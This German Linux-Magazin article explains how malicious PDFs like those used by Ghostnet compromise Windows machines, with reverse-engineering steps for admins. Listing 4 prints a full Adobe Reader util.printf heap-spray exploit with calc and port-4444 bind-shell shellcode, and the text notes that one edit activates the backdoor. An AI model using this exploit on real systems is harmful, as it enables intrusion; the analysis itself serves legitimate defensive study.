Aus Linux-Magazin 01/2010

Reverse Engineering zeigt, wie verseuchte PDFs Rechner kompromittieren

©pietus, 123RF.com

Ghostnet nennt sich eine PDF-Hacksoftware aus China, die das Netzwerk des Dalai-Lama und zahlreicher west- licher Regierungen eroberte. Dieser Artikel hilft Admins, dem Geister-Code in PDFs den Schleier zu entreißen und nachzuvollziehen, was der Angreifer erreichen will.

Nach und nach zeichnete sich das ganze Ausmaß des Spuks ab. Zögernd musste eine Regierungsbehörde nach der anderen zugeben, von Malware infizierte Computer in ihren Büros gefunden zu haben. Europa war nicht allein betroffen, auch die USA, Kanada und sogar der Dalai-Lama meldeten Einbrüche in sensible Rechner. Das Ghostnet hatte zugeschlagen und legte sich wie ein Spinnengewebe über das Internet, ehe es Ende 2008 seine größte Ausdehnung erreichte.

Unter Windows reicht es, ein PDF zu öffnen

Der Exploit im Adobe Reader, mit dessen Hilfe es sich verbreitete, war schon damals recht alt. Aber die Tatsache, dass ihm interessierte Admins mit Forensik- und Hacker-Tools wie Metasploit [1] ohne großen Aufwand auf die Schliche kommen, hinderte die Angreifer nicht daran, massenhaft PCs zu infizieren.

Wer dachte, nur DAUs fallen auf die typische Masche der Verbreitung von ausführbaren Dateien per E-Mail herein, sah sich eines Besseren belehrt, was auch ein Artikel zur Security Awareness in diesem Heft zeigt. Spätestens Ghostnet offenbarte, dass einfache, ganz alltägliche Dinge wie das Öffnen eines vermeintlich normalen PDF bereits ausreichen können, um einen PC zu infizieren und zu übernehmen.

Das funktioniert, weil der Acrobat Reader automatisch eingebetteten Javascript-Code ausführt. Der lässt sich ohne Probleme so gestalten, dass er unbemerkt auch komplexen Schadcode aus dem Internet nachlädt. Genau diese Technik nutzten die Erfinder des Geisternetzes, um im Jahr 2008 die Rechner des Oberhaupts der Tibeter zu infizieren, später folgte eine stattliche Anzahl von Regierungscomputern.

Über die Lücke im Reader, die Adobe erst in Version 8.1.3 behoben hat, verbanden sich die infizierten Computer anschließend vollautomatisch mit Ghost RAT, dem Command- und Controllcenter von Ghostnet (Abbildung 1). Die Autoren des Linux-Magazins haben die verschiedenen Komponenten von Ghostnet selbst kompiliert, um die Funktionalität im Rahmen von Trainings für Strafverfolgungs- und Sicherheitsbehörden zu testen und nachzuvollziehen ([2], Video der 3Sat-Sendung “Neues” auf [3]).

Abbildung 1: Webcam, Mikro und Keylogger des infizierten Rechners aktiviert der Angreifer per Mausklick im Kommando-GUI von Ghostnet.

Abbildung 1: Webcam, Mikro und Keylogger des infizierten Rechners aktiviert der Angreifer per Mausklick im Kommando-GUI von Ghostnet.

Durchaus aufschlussreiche Folgerungen über die Herkunft der Software erlaubte der Blick in den Quelltext. Der C++-Code lag zuerst nur in chinesischer Sprache vor. Andererseits machte die Sprachbarriere die angebotenen Menüs nur eingeschränkt nutzbar. Abbildung 1 zeigt das Kontrollzentrum Ghost RAT Beta 3.6 in der späteren englischen Version.

Keylogger, Screenshots, Wanze und Webcam

Dem Management des Angriffs bietet die Geisterratte offensichtlich komfortable Funktionen:

  • Kompletter Zugriff auf den gekaperten PC: Die Malware kann
    sowohl das Filesystem als auch den Bildschirm überwachen.
  • Eingabegeräte: Der eingebaute Keylogger protokolliert auch
    bei Internetaktivitäten wie Onlinebanking oder der
    Passworteingabe mit.
  • Raumüberwachung: Handelt es sich beim infizierten PC zum
    Beispiel um ein Notebook, kann der Ghostnet-Admin aus der Ferne das
    eingebaute Mikrofon einschalten und alle Gespräche im Raum
    mithören.

Auch eine eingebaute oder angeschlossene Webcam ließe sich aktivieren. Wegen der in den meisten Systemen eingebauten LED-Anzeige stellt das Feature für den Angreifer aber eine riskante Aktion dar und dürfte nur in wenigen Fällen zum Einsatz gekommen sein.

Überraschend benutzerfreundlich

Das Geisternetz ist vorbildlich intuitiv gehalten, von der ersten Übung bis zur kriminellen Verbreitung liegen nur wenige Schritte. Auch deshalb verbieten es Paragraphen wie StGB §202, den Code zu veröffentlichen. Für Admins bleiben aber dank Reverse Engineering trotzdem noch einige Möglichkeiten, sich selbst zu schützen.

Dafür reicht ein gängiger Linux-PC mit GUI und installiertem Metasploit [1]. Wer die dafür notwendige, bisweilen aufwändige Ruby-Installation scheut, die folgenden Beispiele aber dennoch nachvollziehen will, nimmt das USB-Stick-Image von der DELUG-DVD und kopiert es auf einen bootfähigen Stick:

dd if=binary.img of=/dev/sdX

Der Stick sollte etwa 1 GByte Platz bieten. Wer lieber KVM oder Qemu verwendet, bootet das File einfach mit »kvm binary.img«. Auf dem Debian-Image ist Metasploit in der aktuellen Betaversion 3.3 installiert. In einer Root-Konsole wechselt der Benutzer ins Verzeichnis »/usr/local/msf3« und gibt dort die Befehle aus den folgenden Beispielen ein.

Traditionsgemäß beginnen die meisten Übungen mit der Ausgabe von Hello World! Unter Javascript erledigt das die Funktion »app.alert«. Scribus [4] soll ein unverdächtiges PDF-Dokument erzeugen und ermöglicht zusätzlich auch das Einbetten von Javascript. Nachdem der normale PDF-Inhalt erstellt ist, fügt der User über den Menüpunkt »Bearbeiten | JavaScripts Hinzufügen« die Funktion »app.alert« ein:

function Neues_Script()

{

app.alert("Hello World!");

}

Nach dem Einbinden gilt es, das PDF zu exportieren. Im Menü »Datei | Export | Als PDF Speichern | Betrachter« ändert der Benutzer die Option »Kein Script« auf »Neues_Script« und speichert das PDF anschließend. Öffnet jetzt ein Betrachter das PDF, dann erhält er die Meldung aus Abbildung 2.

Abbildung 2: Hello World! Das PDF hat ein Pop-up geöffnet, die Proof of Concept funktioniert.

Abbildung 2: Hello World! Das PDF hat ein Pop-up geöffnet, die Proof of Concept funktioniert.

Ingenieur rückwärts

Bis hierher ist die Angelegenheit noch nicht wirklich weltbewegend. Reverse Engineering soll jetzt den Inhalt des PDF restaurieren, um die Analyse des Schadcode zu simulieren. Ein einfacher Cat-Befehl zeigt das eingebettete Javascript-Objekt (Listing 1). In Zeile 8 findet sich der Binärcode, den der Benutzer jetzt wieder zurück in lesbares Javascript konvertiert. Über die Zwischenablage überträgt er den Bereich zwischen »stream« und »endstream« in eine neue Datei und nennt diese zum Beispiel »hello.bin«. Der Hexeditor »xxd« listet den Hexcode als Array (Listing 2).

Listing 1: »cat
helloworld.pdf«

13 0 obj

<< /Length 65

/Filter /FlateDecode >>

stream
x?K+?K.???S?K-M-?N.?,(?????RPPH,(?K?I-*?P?H????/?IQT?????
endstream
endobj
14 0 obj
<< /S /JavaScript /JS 13 0 R >>
endobj

Listing 2: »xxd -i
hello.bin«

unsigned char hello_bin[] = {
  0x78, 0xef, 0xbf, 0xbd, 0x4b, 0x2b, 0xef, 0xbf, 0xbd, 0x4b, 0x2e, 0xef,
  0xbf, 0xbd, 0xef, 0xbf, 0xbd, 0xef, 0xbf, 0xbd, 0x53, 0xef, 0xbf, 0xbd,
  0x4b, 0x2d, 0x4d, 0x2d, 0xef, 0xbf, 0xbd, 0x4e, 0x2e, 0xef, 0xbf, 0xbd,
  0x2c, 0x28, 0xef, 0xbf, 0xbd, 0xef, 0xbf, 0xbd, 0xef, 0xbf, 0xbd, 0xef,
  0xbf, 0xbd, 0xef, 0xbf, 0xbd, 0x52, 0x50, 0x50, 0x48, 0x2c, 0x28, 0xef,
  0xbf, 0xbd, 0x4b, 0xef, 0xbf, 0xbd, 0x49, 0x2d, 0x2a, 0xef, 0xbf, 0xbd,
  0x50, 0xef, 0xbf, 0xbd, 0x48, 0xef, 0xbf, 0xbd, 0xef, 0xbf, 0xbd, 0xef,
  0xbf, 0xbd, 0xef, 0xbf, 0xbd, 0x2f, 0xef, 0xbf, 0xbd, 0x49, 0x51, 0x54,
  0xd2, 0xb4, 0xef, 0xbf, 0xbd, 0xef, 0xbf, 0xbd, 0x3f, 0xef, 0xbf, 0xbd,
  0x0a
};

Leider liefert die Ausgabe von »xxd« nur für C typische Hexadezimal-Ketten wie »0x90«. Javascript benötigt jedoch ein anderes Format, das die Opcodes zum Beispiel als »x90« darstellt. Das ist der Punkt, an dem Metasploit ins Spiel kommt, aber nicht mit den üblichen Befehlen wie »msfconsole« oder »msfgui«, sondern dem weit weniger bekannten Encoder »msfencoder«:

cat hello.bin | /usr/local/framework-3.2/U
msfencode -e generic/none -t perl -o U
hello.php

Um das Ergebnis ausführbar zu machen, braucht es nur mehr kleine Änderungen bezüglich der PHP-Tags, Buffer-Deklarationen und der Konvertierungsfunktion. In der neuen Datei »hello.php« befindet sich das Shellcode-Array in der gewünschten Form (Listing 3).

Listing 3: »hello.php«

<?php
$buf=
"x78xefxbfxbdx4bx2bxefxbfxbdx4bx2exefxbfxbd" .
"xefxbfxbdxefxbfxbdx53xefxbfxbdx4bx2dx4dx2d" .
"xefxbfxbdx4ex2exefxbfxbdx2cx28xefxbfxbdxef" .
"xbfxbdxefxbfxbdxefxbfxbdxefxbfxbdx52x50x50" .
"x48x2cx28xefxbfxbdx4bxefxbfxbdx49x2dx2axef" .
"xbfxbdx50xefxbfxbdx48xefxbfxbdxefxbfxbdxef" .
"xbfxbdxefxbfxbdx2fxefxbfxbdx49x51x54xd2xb4" .
"xefxbfxbdxefxbfxbdx3fxefxbfxbdx0a";

echo gzuncompress($buf);

?>

Um diesen Code auf der Kommandozeile auszuwerten, braucht es noch »php-cli«, das sich als gleichnamiges Paket im Debian-Repository befindet. »php hello.php« erzeugt jetzt wieder den in Scribus eingegebenen Javascript-Code:

function Neues_Script()

{

app.alert("Hello World!");

}

Auch die vermutlich von Regierungsorganen gut bezahlten Hacker hinter Ghostnet benutzten genau diese Techniken, um sich über den »util.prinf«-Exploit für den Acrobat Reader Zutritt zu Windows-Maschinen zu verschaffen.

Eine Proof of Concept dazu findet sich auf [5]. Das PDF-Dokument zeigt die Verwundbarkeit mittels eines Buffer Overflow in besagter »util.printf«-Funktion. Analog zum ersten Beispiel dient Reverse Engineering per »cat 2008-APSB08-19.pdf« zur Analyse des eingebundenen Code (Abbildung 3).

Abbildung 3: »cat 2008-APSB08-19.pdf« gibt diese Sonderzeichen aus.

Abbildung 3: »cat 2008-APSB08-19.pdf« gibt diese Sonderzeichen aus.

Jetzt gilt es, dies zu extrahieren, unter »exploit.bin« zu speichern und mit Metasploit ein Opcode-Array zu erzeugen. Wie schon bei »hello.php« braucht es noch PHP-Tags, die Buffer-Deklaration und die Konvertierungsfunktion. Listing 4 zeigt im Ergebnis den übersetzten PHP-Code nach dem Aufruf von »php exploit.php«. Hier stehen zwei Arrays zur Verfügung (»shellcode1« und »shellcode2«), von denen der Code aber bisher nur das erste Array ausführt (Zeile 76). Dies ist harmlos, es startet auf Windows-Systemen den eingebauten Taschenrechner.

Listing 4: »php exploit.php«

// win32_exec -  EXITFUNC=seh CMD=c:windowssystem32calc.exe Size=378 Encoder=Alpha2
http://metasploit.com
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                          "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                          "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                          "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                          "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                          "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                          "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                          "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                          "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                          "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                          "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                          "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                          "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                          "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                          "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                          "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                          "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                          "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                          "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                          "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                          "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                          "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                          "%u314e%u7475%u7038%u7765%u4370");

// win32_bind -  EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a" +
                          "%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241" +
                          "%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c" +
                          "%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f" +
                          "%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c" +
                          "%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f" +
                          "%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b" +
                          "%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c" +
                          "%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31" +
                          "%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35" +
                          "%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b" +
                          "%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663" +
                          "%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733" +
                          "%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470" +
                          "%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358" +
                          "%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f" +
                          "%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458" +
                          "%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58" +
                          "%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f" +
                          "%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275" +
                          "%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45" +
                          "%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033" +
                          "%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046" +
                          "%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035" +
                          "%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036" +
                          "%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64" +
                          "%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35" +
                          "%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67" +
                          "%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30" +
                          "%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f" +
                          "%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246" +
                          "%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139" +
                          "%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652" +
                          "%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e" +
                          "%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b" +
                          "%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075" +
                          "%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251" +
                          "%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f" +
                          "%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f" +
                          "%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b" +
                          "%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952" +
                          "%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73" +
                          "%u684f%u3956%u386f%u4350");
 
 
         var bigblock = unescape("%u0A0A%u0A0A");
         var headersize = 20;
         var slackspace = headersize + shellcode1.length;
         while (bigblock.length < slackspace) bigblock += bigblock;
         var fillblock = bigblock.substring(0,slackspace);
         var block = bigblock.substring(0,bigblock.length - slackspace);
         while (block.length + slackspace < 0x60000) block = block + block + fillblock;
 
         var memory = new Array();
         for (i = 0; i < 1200; i++){ memory[i] = block + shellcode1 }
 
 
var num =
1299999999999999999988888888888888888888888888888888888888888888888888888888888888888888888888888888
8888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("%45000f",num)

PHP, ein wenig Javascript und ein Buffer Overflow

Am Ende des Javascript-Code ist der benutze Buffer Overflow der »util.printf«-Funktion zu erkennen (Zeile 86). Die zuvor definierte Variable »num« wird mit 45000 Fließkommastellen ausgegeben, was den Überlauf verursacht. Wesentlich interessanter ist das zweite Shellcode-Array (ab Zeile 29). Ein einfaches Umbenennen des Array-Aufrufs durch Vertauschen der Namen in Zeile 76 reicht, und eine Backdoor wird statt des Calculators aktiv. Der Code von Array 2 öffnet den TCP-Port 4444, was der Benutzer mit einem einfachen Netcat-Befehl auf diese Portnummer testen kann. Die gepatchten Versionen des Adobe Reader sind dadurch zwar nicht mehr verwundbar, aber es gibt noch einige andere fehlerhafte Acrobat-API-Funktionen, die sich nach kurzem Stöbern im Web finden.

Metasploit besitzt über 100 verschiedene Payloads, um beim Penetration Testing Backdoor-Funktionen oder beispielsweise Malware-Downloads zur Verfügung zu stellen. Im Training für die Strafverfolgung hilft die eingebaute Download-Funktion, um den selbst programmierten Ghostnet-Trojaner auf Windows PCs zu übertragen. Den erzeugt übrigens ebenfalls vollautomatisch das Ghostrat-Kontrollzentrum. Dabei spielt es keine Rolle, ob zur Infektion ein versendetes PDF dient oder ob der Angreifer eine Webseite mit einem passenden Iframe-Tag kompromittieren möchte [2]. Metasploit exportiert Payloads mit dem Programm »msfpaylod«, die sich anschließend in Shellcode-Arrays konvertieren lassen.

Gefährlich einfach

Es bedarf keiner großen Programmierkenntnisse, um die Arbeitsweise von PDF-Exploits zu verstehen. Metasploit stellt dafür ein mächtiges Framework zur Verfügung, das nicht nur zum Penetration Testing taugt. Ein Administrator, der in einer sensiblen Umgebung ein kompromittiertes System analysieren muss, hat mit wenig Aufwand genügend Werkzeuge zur Hand, um schädliche PDFs zu erkennen und deren Arbeitsweise aufzudecken. Dass dies auch für die Ghostbuster der modernen Strafverfolgung ein alltägliches Handwerkszeug darstellt, versteht sich von selbst.

Infos

[1] Metasploit: [http://www.metasploit.com]

[2] Markus Feilner, “Der Paulus von Freiburg”, Linux-Magazin 03/2009 S.76.

[3] Video von 3Sat über den Hacker-Workshop:[http://wstreaming.zdf.de/zdf/veryhigh/090816_hackerworkshop_nes.asx]

[4] Scribus: [http://www.scribus.org]

[5] Proof of Concept zum PDF-Exploit: [http://milw0rm.com/sploits/2008-APSB08-19.pdf]

DIESEN ARTIKEL ALS PDF KAUFEN
EXPRESS-KAUF ALS PDFUmfang: 4 HeftseitenPreis €0,99
(inkl. 19% MwSt.)
LINUX-MAGAZIN KAUFEN
EINZELNE AUSGABE Print-Ausgaben Digitale Ausgaben
ABONNEMENTS Print-Abos Digitales Abo
TABLET & SMARTPHONE APPS Readly Logo
E-Mail Benachrichtigung
Benachrichtige mich zu:
0 Kommentare
Älteste
Neuste Beste Bewertung
Inline Feedbacks
Alle Kommentare anzeigen
Nach oben